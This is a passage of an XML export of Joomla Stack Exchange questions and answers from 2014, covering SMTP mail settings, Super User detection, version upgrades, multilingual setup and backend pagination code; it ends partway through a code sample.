  <row Id="1147" PostTypeId="2" ParentId="1146" CreationDate="2014-06-06T06:08:26.107" Score="5" Body="&lt;p&gt;You can use Gmail as your mailer, below is the working SMTP configuration needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;code&gt;Global Configuration -&amp;gt; Server -&amp;gt; Mail Settings&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Send Mail&lt;/code&gt; : &lt;code&gt;Yes&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Mailer&lt;/code&gt; : &lt;code&gt;SMTP&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;From Email&lt;/code&gt; : &lt;code&gt;youremail@gmail.com&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;From Name&lt;/code&gt; : &lt;code&gt;name_goes_here&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SMTP Authentication&lt;/code&gt; : &lt;code&gt;Yes&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SMTP Security&lt;/code&gt;  : &lt;code&gt;SSL&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SMTP Port&lt;/code&gt; : &lt;code&gt;465&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SMTP Username&lt;/code&gt; : &lt;code&gt;youremail@gmail.com&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SMTP Password&lt;/code&gt; : &lt;code&gt;your_gmail_account_password&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SMTP Host&lt;/code&gt; : &lt;code&gt;smtp.gmail.com&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="383" LastEditorUserId="7730" LastEditDate="2017-04-07T16:00:25.813" LastActivityDate="2017-04-07T16:00:25.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1150" PostTypeId="1" AcceptedAnswerId="1154" CreationDate="2014-06-06T09:17:22.673" Score="22" ViewCount="21585" Body="&lt;p&gt;To determine whether the visitor is a &lt;strong&gt;guest&lt;/strong&gt;, we use something like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($user-&amp;gt;guest) {&#xA;echo 'Hello, guest!';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, if i want to determine whether the visitor is a registered SuperUser (Administrator) or not, what would be the code for that? &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have some external PHP files which i don't want to be accessible by anyone except the SuperUsers of my Joomla Website. Just trying to secure the files by importing Joomla CMS.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="383" LastEditorUserId="159" LastEditDate="2014-06-06T13:55:22.670" LastActivityDate="2017-10-29T07:10:50.960" Title="How to detect if user is Super User?" Tags="|joomla-3.x|php|security|" AnswerCount="6" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1151" PostTypeId="2" ParentId="1150" CreationDate="2014-06-06T09:35:03.037" Score="7" Body="&lt;p&gt;Try this,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user  = JFactory::getUser();&#xA;&#xA;$user_groups = $user-&amp;gt;groups;&#xA;&#xA;print_r($user_groups);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will return  an array, By default Joomla Admin users Super admin (Groups 8) and Administrator (Group 7).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check the array have any of these values then it should be Admin user , If you're created Custom User group then you have to check &lt;code&gt;#__usergroups&lt;/code&gt; &lt;code&gt;parent Id&lt;/code&gt; too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps..&lt;/p&gt;&#xA;" OwnerUserId="138" LastEditorUserId="138" LastEditDate="2014-06-06T11:35:40.020" LastActivityDate="2014-06-06T11:35:40.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1153" PostTypeId="2" ParentId="1126" CreationDate="2014-06-06T11:10:36.163" Score="6" Body="&lt;p&gt;I finally found what seems to be the &quot;correct&quot; way to do this. Even if I used sendHeaders, the additional Content-Type was being added and that got returned as it was added later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed through the code and AbstractWebApplication.php sets the headers with this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Send the content-type header.&#xA;$this-&amp;gt;setHeader('Content-Type', $this-&amp;gt;mimeType . '; charset=' . $this-&amp;gt;charSet);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I was able to define my own mimeType by using this in my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;app-&amp;gt;mimeType = 'application/json';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the correct header gets returned and jQuery understands the output as JSON!&lt;/p&gt;&#xA;" OwnerUserId="218" LastActivityDate="2014-06-06T11:10:36.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1154" PostTypeId="2" ParentId="1150" CreationDate="2014-06-06T11:57:24.230" Score="30" Body="&lt;p&gt;these codes will determine if current logged in user is super user or not - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;$isroot = $user-&amp;gt;authorise('core.admin');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that code will check what is mapped to the &quot;Super User&quot; permission in the global configuration and not in only component level. Check it yourself comparing with other ways.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2014-06-06T11:57:24.230" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1155" PostTypeId="2" ParentId="1150" CreationDate="2014-06-06T14:17:02.573" Score="8" Body="&lt;p&gt;To determine the &quot;Super User&quot; status you have to check &lt;code&gt;$user-&amp;gt;isRoot&lt;/code&gt;.&#xA;This property is set after the first authorise check is done and the user is detected to be super admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However usually you indeed better want to check if the user has certain permissions like described on the other answers.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-06-06T14:17:02.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1156" PostTypeId="1" CreationDate="2014-05-08T07:39:55.347" Score="0" ViewCount="485" Body="&lt;p&gt;I need to migrate my joomla 1.7.3 site to joomla 3.&#xA;So, I first upgraded it to joomla 1.7.4 and 1.7.5 successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the next step I am going to upgrade it to 2.5.0. So I downloaded the update package for joomla 2.5.0 from: &#xA;&lt;a href=&quot;http://www.joomla.org/announcements/release-news/5403-joomla-250-released.html&quot; rel=&quot;nofollow&quot;&gt;http://www.joomla.org/announcements/release-news/5403-joomla-250-released.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But unexpectedly installing this package fails by error &quot;Failed loading XML file&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I extracted the zip file and noticed that it does not contain joomla.xml file. Could this be the reason? If not, how can I handle this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerDisplayName="user3607071" LastEditorUserId="159" LastEditDate="2014-06-07T06:23:02.560" LastActivityDate="2014-06-07T06:23:02.560" Title="Upgrade Joomla 1.7.3 to 2.5.0 failed" Tags="|php|xml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1157" PostTypeId="2" ParentId="1156" CreationDate="2014-05-08T21:00:14.420" Score="1" Body="&lt;p&gt;From the page you mention, you're getting a very old and buggy version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://joomlacode.org/gf/download/frsrelease/19396/158841/Joomla_2.5.x_to_2.5.20-Stable-Patch_Package.zip&quot; rel=&quot;nofollow&quot;&gt;http://joomlacode.org/gf/download/frsrelease/19396/158841/Joomla_2.5.x_to_2.5.20-Stable-Patch_Package.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the full 2.5.20 update package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;make a backup of your site &amp;amp; db.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then extract this package over your current installation;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then go to the administrator/extensions/database and press &quot;fix&quot; to update the database accordingly.&lt;/p&gt;&#xA;" OwnerUserId="377" OwnerDisplayName="Riccardo Zorn" LastActivityDate="2014-05-08T21:00:14.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1158" PostTypeId="1" AcceptedAnswerId="1162" CreationDate="2014-06-06T22:28:29.883" Score="15" ViewCount="9971" Body="&lt;p&gt;This is something I have been curious on for some time considering a few things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How well is the &quot;one click&quot; upgrade going to improve prior to the EoL of Joomla! 2.5?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now we have a very low success rate on upgrading from 2.5, there are many compatibility issues that are not resolved with just the upgrade and requires a few manual edits to finish the process most of the time (problems with JHTML is the most common I see).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I say &quot;problems&quot; but I just mean that after the update things do not work as intended, this is in no way saying that the &quot;update&quot; component is broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have looked around but only found the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Joomla!_CMS_versions&quot;&gt;http://docs.joomla.org/Joomla!_CMS_versions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://developer.joomla.org/cms/roadmap.html&quot;&gt;http://developer.joomla.org/cms/roadmap.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first states that this coming December 2014 support for 2.5 will be dropped. The second states the roadmap for 3.x. However right now it is very difficult to upgrade out of 2.5, the bigger the site, the harder it is. I am not sure what causes some to succeed and some to not, in most cases we cannot isolate it to third party extensions directly (extension manager breaks and such from missing tables, and the extension manager is where you fix that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is where the true issue comes in with upgrading, if the site uses a massive database with something like sobipro, k2 or content builder, or just many articles/modules then the upgrade can fail much easier. Those cannot be removed, disabled or uninstalled either (ex: 4000+ items would be lost with an uninstall, at that point might as well remake the site then upgrade).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there any plan for improving the one click upgrade for 2.5 to 3.x to better accommodate the EoL? (like news posts or blogs) Weird question but I feel with how many 2.5 sites there are out there that are unable to upgrade it could be very worthwhile.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2020-04-09T00:15:05.047" Title="Upgrade from 2.5 to 3.x overview" Tags="|joomla-3.x|joomla-2.5|" AnswerCount="7" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1159" PostTypeId="1" AcceptedAnswerId="1160" CreationDate="2014-06-07T00:16:43.880" Score="12" ViewCount="13841" Body="&lt;p&gt;One of my old clients want to turn to Joomla instead of a static HTML5/CSS3 responsive Multi-languages website.&#xA;I'm a newbie to Joomla, and my biggest challenge is how to make a multi-languages Joomla website that contains RTL and LTR languages.&#xA;so i started with testing the &quot;language switcher module&quot;&#xA;I've enabled the &quot;system plugin- language filter&quot; and I've configured a position to the module.&#xA;but it doesn't work.&#xA;when I hover over the box and click on it, nothing appears, so the question is, how can i make it working ?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the main problem is &quot;the language switcher menu doesn't show any language code in it's list, it doesn't dropdown at all&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZlJkN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="494" LastEditorUserId="126" LastEditDate="2017-01-14T11:57:59.600" LastActivityDate="2017-01-14T11:57:59.600" Title="How to setup a new multi-language website?" Tags="|joomla-3.x|multilingual|content|administration|" AnswerCount="5" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1160" PostTypeId="2" ParentId="1159" CreationDate="2014-06-07T02:08:00.497" Score="12" Body="&lt;p&gt;The recent versions of Joomla provide built-in multi-lingual capabalities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, setting up a multi-language, requires a few more steps than just enabling the plugin and the language switcher module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Briefly the steps are as below:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install the Language Packs, from the Extension Manager -&gt; Install Languages. - This will translate system labels like&#xA;read more etc.&lt;/li&gt;&#xA;&lt;li&gt;Define Content Languages - These are the languages that will be assigned to the content elements (articles, menus, modules etc).&lt;/li&gt;&#xA;&lt;li&gt;Enable &amp;amp; Configure System - Language Filter plugin.&lt;/li&gt;&#xA;&lt;li&gt;Create the languages category structure.&#xA;  &lt;br /&gt; - You need to create a root category for each language, e.g English, French and assign the content language you created earlier on each one. Then you can create the subcategories for each language. And remember to create a category Languages All, for content that will be used for all the languages.&lt;/li&gt;&#xA;&lt;li&gt;Create your main Articles and assign them to the languages.&lt;/li&gt;&#xA;&lt;li&gt;Create the menus and the menu items for each language. One menu for each language.&#xA;&#xA;&lt;ol start=&quot;7&quot;&gt;&#xA;&lt;li&gt;You will need to have also an All (languages) Homepage menu item and a home menu item for each language and do all the menu items associations. &lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;Follow the same approach for any modules. Create the corresponding modules for each language.&lt;/li&gt;&#xA;&lt;li&gt;Publish the Language Switcher Module.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;A more detailed tutorial can be found &lt;a href=&quot;http://www.templatemonster.com/help/joomla-3-x-configuration-multilanguage-site.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you may want to consider some &lt;a href=&quot;http://extensions.joomla.org/category/languages/multi-lingual-content&quot; rel=&quot;nofollow&quot;&gt;3rd party extensions&lt;/a&gt; that provide extra flexibility or a different approach.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update for your specific issue with the Languages Module:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Make sure you have created the Home menu items and their language associations for each language. Try to follow the steps as described in the tutorials.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="3650" LastEditDate="2016-03-02T21:27:58.780" LastActivityDate="2016-03-02T21:27:58.780" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1161" PostTypeId="2" ParentId="1158" CreationDate="2014-06-07T12:11:39.150" Score="1" Body="&lt;p&gt;I find there are so many things to consider with upgrading it simply cannot be considered a &quot;one-click&quot; process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP versions are the first thing to consider.&#xA;Joomla versions too...always upgrade to the final version in any tree before climbing the ladder to the next.  Use Akeeba CMS Updater to select the updates you want to apply and from which branch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extensions are where it really gets hairy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using an extension like SP Transfer can reduce issues by creating a secondary site that can be pre installed at the new version with all components installed for that version and then pull all necessary data from database through.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This process is not for the general everyday user though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More often than not I find some level of issue with the assets table and usually have to employ the diagnostics of ACL Manager to fix orphan or missing items in the table.&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="188" LastEditDate="2014-06-07T12:29:39.393" LastActivityDate="2014-06-07T12:29:39.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1162" PostTypeId="2" ParentId="1158" CreationDate="2014-06-07T12:37:45.270" Score="11" Body="&lt;p&gt;&lt;strong&gt;&quot;one click&quot; upgrade&lt;/strong&gt; works very well for Joomla! 2.5 &lt;strong&gt;Core&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But your site may have several templates or extensions to be also upgraded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also planning a &quot;June&quot; migration of our main site. This is my plan:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Backup the main site and create a new test site&lt;/li&gt;&#xA;&lt;li&gt;Review the system requirements for Joomla 3.x and make sure that your server environment meets those requirements.&lt;/li&gt;&#xA;&lt;li&gt;Install and customize a new Joomla! 2.5/3 compatible template&lt;/li&gt;&#xA;&lt;li&gt;Install and customize all Joomla! 2.5/3 compatible extensions &lt;/li&gt;&#xA;&lt;li&gt;If some extension does not have a J3 compatible version, it has to be replaced with a new extension.... AND data has to be migrated (worst-case scenario)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: &lt;em&gt;Previous steps can be executed off-line, tested, and at the end you can implement them in your current Joomla! 2.5 site to reduce the risk of one-day migration.&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Update your development site with the latest live site&lt;/li&gt;&#xA;&lt;li&gt;Final step: &lt;strong&gt;&quot;one click&quot; upgrade&lt;/strong&gt; to Joomla! 3 on the development site&lt;/li&gt;&#xA;&lt;li&gt;Test and check everything until it works Ok&lt;/li&gt;&#xA;&lt;li&gt;Migrate the live site (or restore the latest development site snapshot on a new hosting.... just in case something goes wrong, and you have to re-activate the J2.5 site)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;SUCCESS&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="174" LastActivityDate="2014-06-07T12:37:45.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1163" PostTypeId="2" ParentId="1158" CreationDate="2014-06-07T12:52:57.713" Score="2" Body="&lt;p&gt;To answer the main question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How well is the &quot;one click&quot; upgrade going to improve prior to the EoL of Joomla! 2.5?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are no plans to improve it. It's working without issues for core.&#xA;The template will liekly have to be replaced due to changed extension output.&#xA;The other extensions need to be checked manually, it depends how they are built. It is possible to write extensions which work on both 2.5.15+ and 3.x with the same codebase. But one has to check that either by trying or by contacting the developer (or read their FAQ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing that may be improved in 2.5 is to add a pre-upgrade compatibility check. There was some work done for that but it stalled. Someone from the community would have to pick that up and bring it to an end.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-06-07T12:52:57.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1164" PostTypeId="2" ParentId="1158" CreationDate="2014-06-07T14:09:24.377" Score="3" Body="&lt;p&gt;I wasn't able to upgrade directory from 2.5.7 to 3.2.0. I encountered various errors during these upgrades, sometimes not able to upgrade at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The upgrade path I had to take as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.5.7 → 3.0.1 → 3.1.5 → 3.2.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since then I've been able to upgrade normally. I'm running 3.2.2 and planning to upgrade to 3.3 shortly.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2014-06-07T14:09:24.377" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1165" PostTypeId="2" ParentId="1158" CreationDate="2014-06-07T15:32:16.480" Score="5" Body="&lt;p&gt;For upgrades from 2.5 to 3.3, I have had more luck doing a manual upgrade as well.  For the versions, I will go up to 2.5.20-&gt;3.0.3-&gt;3.1.6-&gt;3.2.4-&gt;3.3.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the full process:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Download all those versions and unzip on local machine (here is a&#xA;good resource: &lt;a href=&quot;http://www.whitefirdesign.com/resources/joomla-release-archive.html&quot; rel=&quot;noreferrer&quot;&gt;http://www.whitefirdesign.com/resources/joomla-release-archive.html&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Backup using Akeeba&lt;/li&gt;&#xA;&lt;li&gt;Make clone site in subfolder using Akeeba Kickstart (make/use new database)&lt;/li&gt;&#xA;&lt;li&gt;In backend of website, uninstall &quot;problem&quot; extensions (see bottom of post)&lt;/li&gt;&#xA;&lt;li&gt;In FTP, upload all files from a new Joomla version except the /installation/ folder.&lt;/li&gt;&#xA;&lt;li&gt;In backend of website, go to EXTENSIONS-&gt;EXTENSIONS MANAGER-&gt;DATABASE, and hit FIX&lt;/li&gt;&#xA;&lt;li&gt;Then go to EXTENSIONS-&gt;EXTENSIONS MANAGER-&gt;DISCOVER, hit discover and install for anything it finds&lt;/li&gt;&#xA;&lt;li&gt;Go to ACL Manager (if you don't have, I highly suggest) and fix any ACL problems it finds.  &lt;a href=&quot;http://aclmanager.net&quot; rel=&quot;noreferrer&quot;&gt;http://aclmanager.net&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Repeat process with next version of Joomla&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;After you get up to newest version:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Reinstall &quot;problem&quot; extensions&lt;/li&gt;&#xA;&lt;li&gt;Backup new version&lt;/li&gt;&#xA;&lt;li&gt;Test site for problems&lt;/li&gt;&#xA;&lt;li&gt;Move original site into subfolder&lt;/li&gt;&#xA;&lt;li&gt;Move new site into root to go live&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This whole process takes a long time because of the upload time for full versions, but it saves headaches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For problem extensions, these are just ones that have caused issues during upgrades for me.  My hypothesis is that the install package actually has different versions for J2.5 vs J3.3 so it gets confused when you upgrade.  If anyone has found others, please let me know.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;NoNumbers extensions (NN Manager, Cache Cleaner, Adv Module Manager,&#xA;Modules Anywhere, etc)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These extensions can cause problems if not using the most recent release:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;RSForm &lt;/li&gt;&#xA;&lt;li&gt;JW AllVideos&lt;/li&gt;&#xA;&lt;li&gt;RokBox&lt;/li&gt;&#xA;&lt;li&gt;RSForm &lt;/li&gt;&#xA;&lt;li&gt;Social Bookmarks&lt;/li&gt;&#xA;&lt;li&gt;XMap&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="464" LastActivityDate="2014-06-07T15:32:16.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1166" PostTypeId="1" AcceptedAnswerId="1167" CreationDate="2014-06-05T02:53:54.613" Score="1" ViewCount="708" Body="&lt;p&gt;When MySQL stops responding or is not running, my Joomla site displays this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error displaying the error page: Application Instantiation Error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to change this description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which file can I find this so I can edit it?&lt;/p&gt;&#xA;" OwnerDisplayName="user1977790" LastActivityDate="2014-06-07T20:31:22.577" Title="Where can I change the message &quot;Error displaying the error page: Application Instantiation Error&quot; in Joomla?" Tags="|php|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1167" PostTypeId="2" ParentId="1166" CreationDate="2014-06-05T22:02:57.150" Score="3" Body="&lt;p&gt;As you've already pointed out, the error is in two parts and because it happens so early in the application startup cycle even the &lt;code&gt;JErrorPage&lt;/code&gt; class fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally Joomla would use language files that use a key/value structure and you could then add an override via &lt;code&gt;Extensions-&amp;gt; Language Manager-&amp;gt; Language Overrides&lt;/code&gt; but it looks like they aren't even loaded at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the error is assembled for two locations, first the actual error when &lt;code&gt;JFactory&lt;/code&gt; is asked for the current application instance in &lt;code&gt;JFactory::getApplication()&lt;/code&gt;. The odd thing about the error is I'm not clear on how this relates to &lt;code&gt;MySQL&lt;/code&gt; going away, usually that is handled much better. This is the one you've found in &lt;code&gt;/libraries/joomla/factory.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other part of the error message is prepended when the &lt;code&gt;JErrorPage&lt;/code&gt; class tries to handle the exception thrown by &lt;code&gt;JFactory::getApplication()&lt;/code&gt; this is found in &lt;code&gt;/libraries/cms/error/page.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of these are core files and shouldn't be modified for obvious reasons. The other reason is that as Joomla releases security updates or feature upgrades your changes could be overwritten anyway. Personally I would be focusing on fixing the database issue.&lt;/p&gt;&#xA;" OwnerUserId="107" OwnerDisplayName="cppl" LastActivityDate="2014-06-05T22:02:57.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1168" PostTypeId="1" CreationDate="2014-06-05T05:25:02.550" Score="0" ViewCount="931" Body="&lt;p&gt;Joomla 2.5 back end  Pagination is getting but not working properly &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I tried to work on Pagination of Joomla 2.5 Backend (I mean in Component Creation).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I placed pagination related data in form, It's Showing Pagination but when I am         clicking on any number it's redirecting to another page.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I click on 'new' button it's showing previous selected data(I mean count of Pagination like 10,20,... All)&#xA;Please give me suggestions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Form Code&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_newsletters'); ?&amp;gt;&quot; method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;newsletters-form&quot;&amp;gt;&#xA;        &amp;lt;table class=&quot;adminlist&quot;&amp;gt;&#xA;                &amp;lt;thead&amp;gt;&amp;lt;?php echo $this-&amp;gt;loadTemplate('head');?&amp;gt;&amp;lt;/thead&amp;gt;&#xA;                &amp;lt;tfoot&amp;gt;&amp;lt;?php echo $this-&amp;gt;loadTemplate('foot');?&amp;gt;&amp;lt;/tfoot&amp;gt;&#xA;                &amp;lt;tbody&amp;gt;&amp;lt;?php echo $this-&amp;gt;loadTemplate('body');?&amp;gt;&amp;lt;/tbody&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;         &amp;lt;div&amp;gt;&#xA;                &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;&quot; /&amp;gt;&#xA;                &amp;lt;input type=&quot;hidden&quot; name=&quot;boxchecked&quot; value=&quot;0&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;from&quot; value=&quot;artist&quot; /&amp;gt;&#xA;                &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;pagination-&amp;gt;getListFooter(); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;dafulthead.php&#xA;&lt;hr&gt;&#xA;    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;th width=&quot;20&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;checkbox&quot; name=&quot;toggle&quot; value=&quot;&quot; onclick=&quot;checkAll(&amp;lt;?php echo count($this-&amp;gt;items); ?&amp;gt;);&quot; /&amp;gt;&#xA;        &amp;lt;/th&amp;gt; &#xA;         &amp;lt;th&amp;gt;&#xA;                Artist Id&#xA;        &amp;lt;/th&amp;gt;&#xA;        &amp;lt;th&amp;gt;&#xA;                Artist Name&#xA;        &amp;lt;/th&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;defaultbody.php&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php foreach($this-&amp;gt;items as $i =&amp;gt; $item): ?&amp;gt;&#xA;                &amp;lt;tr class=&quot;row&amp;lt;?php echo $i % 2; ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;                &amp;lt;td&amp;gt;&#xA;                        &amp;lt;?php echo JHtml::_('grid.id', $i, $item-&amp;gt;id); ?&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                